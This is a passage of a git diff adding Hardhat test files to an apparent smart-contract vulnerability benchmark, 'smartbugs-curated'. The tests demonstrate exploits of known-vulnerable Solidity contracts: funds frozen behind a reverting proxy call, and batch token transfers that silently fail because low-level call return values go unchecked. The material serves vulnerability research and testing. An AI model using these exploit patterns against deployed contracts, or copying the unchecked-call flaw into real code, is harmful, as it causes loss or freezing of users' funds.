owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + const DepositBalanceBefore = await ethers.provider.getBalance(contract.target); + expect(DepositBalanceBefore).to.be.equal(0); + + const RevertBalanceBefore = await ethers.provider.getBalance(revertContract.target); + expect(RevertBalanceBefore).to.be.equal(0); + + await expect(contract.connect(owner).proxy(revertContract.target, "0x", {value: amount})).to.not.be.reverted; + + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + + //funds are frozen in the contract + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + + + await contract.connect(owner).Vault(); + + expect(await contract.Owner()).to.be.equal(owner.address); + expect(await contract.Deposits(owner.address)).to.be.equal(0); + const OwnerBalance = await ethers.provider.getBalance(owner.address); + //withdraw won't return the funds sincet the deposit is zero + const tx = await contract.connect(owner).withdraw(amount); + const receipt = await tx.wait(); + expect(await ethers.provider.getBalance(owner.address)).to.be.equal(OwnerBalance - receipt.gasUsed * tx.gasPrice); + + + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c_test.js new file mode 100644 index 0000000..38c3ff8 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const demo = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xd5967fed03e85d1cce44cab284695b41bc675b5c.sol:demo"); + const contract = await demo.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = 10; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(val)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220_test.js new file mode 100644 index 0000000..3c2fb9b --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220_test.js @@ -0,0 +1,45 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const airDrop = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xe894d54dca59cb53fe9cbc5155093605c7068220.sol:airDrop"); + const contract = await airDrop.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = 10; + const dec = 0; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val, dec)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(val)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +});